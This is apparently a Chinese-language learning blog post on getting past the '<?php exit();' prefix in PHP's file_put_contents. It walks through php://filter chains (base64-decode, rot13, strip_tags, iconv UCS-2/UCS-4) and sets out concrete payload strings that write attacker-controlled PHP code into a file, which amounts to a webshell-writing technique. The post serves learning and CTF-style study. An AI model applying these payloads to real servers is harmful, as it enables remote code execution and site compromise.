学习关于file_put_contents死亡退出的绕过

0xGeekCat · 2020-8-12 · 次阅读


php://filter的使用

为了读取包含有敏感信息的PHP等源文件,我们就要先将”可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter

php://filter是PHP语言中特有的协议流,作用是作为一个”中间流”来处理其他流,其之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言,<?php ... ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容又有可能和标准XML冲突,从而导致出错

file_put_contents($filename,”<?php exit();”.$content);

$filename控制的写入的文件名,$content拼接在了<?php exit();后,所以想要GetShell的话,就必须把<?php exit();给干掉,而都知道$filename控制文件名,如果我们使用php://filter协议,先按php://filter规定的协议对$content进行解码后再写入协议,更强大的是php://filter还支持使用多个过滤器规则,也就是说可以连环操作。所以思路很简单,目标就是把<?php exit();解码为php不认识的字符,而我们构造的内容能够正常的解码出来就可以

Base64编码

最常用的就是base64编码,通过解码把<?php exit();解码为乱码,而后面我们传入的webshell的base64内容被正常解码,就可以直接干掉<?php exit();得到一个shell了,不过由于<?php exit();中只有phpexit参与了解码,由于base64解码时4转3,所以需要补一位

$content = <?php phpinfo();?> 👉 PD9waHAgcGhwaW5mbygpOz8+ 👉 aPD9waHAgcGhwaW5mbygpOz8+
$filename = php://filter/write=convert.base64-decode/resource=geekcat.php

截屏2020-08-12 下午9.19.26

截屏2020-08-12 下午9.19.59

Rot13编码

$content = <?php phpinfo();?> 👉 <?cuc cucvasb();?>
$filename = php://filter/write=string.rot13/resource=geekcat.php

截屏2020-08-12 下午9.23.24

截屏2020-08-12 下午9.23.03

这种方法是需要服务器没有开启短标签的时候才可以使用(默认情况是没开启: php.ini中的short_open_tag)

组合拳

可以利用php://filter字符串处理方法组合编码的方法绕过<?php exit();,相对于直接编码就有点多此一举了,不过知道有这个方法就好,例如利用strip_tags方法来直接去除xml,而我们传入的shell经过base64编码,所以不会被去除,再解码即可,php://filter支持使用多个过滤器

$content = <?php phpinfo();?> 👉 PD9waHAgcGhwaW5mbygpOz8+ 👉 ?>PD9waHAgcGhwaW5mbygpOz8+ #<?php exit();不是完整的标签所以需要补全?>
$filename = php://filter/write=string.strip_tags|convert.base64-decode/resource=geekcat.php  

先去除xml标签之后再进行base64解码

截屏2020-08-12 下午9.38.35

截屏2020-08-12 下午9.37.07

file_put_contents($a,”<?php exit();”.$a);

此时仅有一个变量,原理相同

Base64编码

同样利用php://filter来构造,反正后面是写入的内容,只要在后面解码的时候把shell解码出来,不需要的东西解码成乱码即可

$a = php://filter/write=convert.base64-decode|PD9waHAgcGhwaW5mbygpOz8+|/resource=geekcat.php

构造的shell可以放在过滤器的位置和文件名位置都可以(其他编码有时候会有空格什么的乱码,文件名不一定好用),**php://filter面对不可用的规则报Warning,然后跳过继续执行的(不会退出)**

convert.base64-decode解码过程中会先自动过滤掉出来[A-Za-z0-9+/]以为的字符👇

php//filter/write=convertbase64decodePD9waHAgcGhwaW5mbygpOz8+/resource=geekcat.php

默认情况下base64编码是以 = 作为结尾,正常解码的时候到了 = 就解码结束,即使我们构造payload的时候不用write=,但是在最后获取文件名的时候resource=中的 = 也过不掉,所以导致过滤器解码失败,从而报错(不过还是会创建文件)

此方法目前暂不可行

Rot13编码

$a = php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=geekcat.php

截屏2020-08-12 下午10.01.47

这种方法是需要服务器没有开启短标签的时候才可以使用,Linux环境默认不开启short_open_tag

iconv字符编码转换

iconv — 字符串按要求的字符编码转换

将字符串strin_charset转换编码到out_charset

iconv ( string $in_charset , string $out_charset , string $str ) : string

通过字符转换把<?php exit();转成不能解析的字符串,👇采用的是UCS-2或者UCS-4编码方式

截屏2020-08-12 下午10.22.23

截屏2020-08-12 下午10.22.42

通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位反转,构造需要数据是UCS-2或UCS-4中2或者4的倍数,不然不能反转,利用这种过滤器进行编码转换绕过

$a = 'php://filter//convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=geekcat.php';

$a = 'php://filter//convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=geekcat.php';
# UCS-4为4位一反转,所以在与<?php exit(); 拼接时要xxx👆

组合拳

第一套连招

$a = 'php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=Cyc1e.php'; 

第二套连招

单独用base64编码是不可行的,但组合拳可行,通过iconv将utf8编码转为utf7编码,从而转换= ,就不会影响到base64的解码

截屏2020-08-12 下午10.42.26

截屏2020-08-12 下午10.43.23

第三套连招

用strip_tags方法&&base64的组合,因为strip_tags去除的是完整的标签以及内容,而base64要求中间不能出现 = 所以把二者组合

$a = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+.php';

文件名前加上?><?php exit();闭合,同时=也在闭合标签之间,利用strip_tags直接把<?php ...... ?>内的所有内容删除,然后对剩下的部分进行base64解码

这种构造在Windows中不行,因为Windows不支持文件名中有?>这类字符

可以利用../来重新构造文件名?>PD9waHAgcGhwaW5mbygpOz8+/../geekcat.php

?>PD9waHAgcGhwaW5mbygpOz8+作为目录名(不管存不存在),再用../回退,这样就可以创建出自定义的文件名

reference

关于file_put_contents的一些小测试

谈一谈php://filter的妙用

郑重感谢